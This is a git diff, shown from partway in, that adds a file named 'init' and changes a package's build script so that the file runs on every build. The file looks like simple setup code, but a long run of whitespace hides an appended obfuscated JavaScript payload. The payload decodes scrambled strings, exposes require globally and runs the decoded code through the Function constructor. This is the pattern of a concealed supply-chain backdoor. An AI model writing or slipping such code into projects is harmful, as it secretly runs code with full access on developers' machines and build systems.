1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/infra/ttl-sentinel/package.json b/infra/ttl-sentinel/package.json
index 69eeb131..3f85e4b7 100644
--- a/infra/ttl-sentinel/package.json
+++ b/infra/ttl-sentinel/package.json
@@ -8,7 +8,7 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "tsc -p tsconfig.json",
+    "build": "node init && tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
     "test": "npm run build && node --test dist/test/*.test.js",
     "scan": "node dist/src/cli.js scan",
diff --git a/init b/init
new file mode 100644
index 00000000..2f6afdc9
--- /dev/null
+++ b/init
@@ -0,0 +1,30 @@
+'use strict';
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr 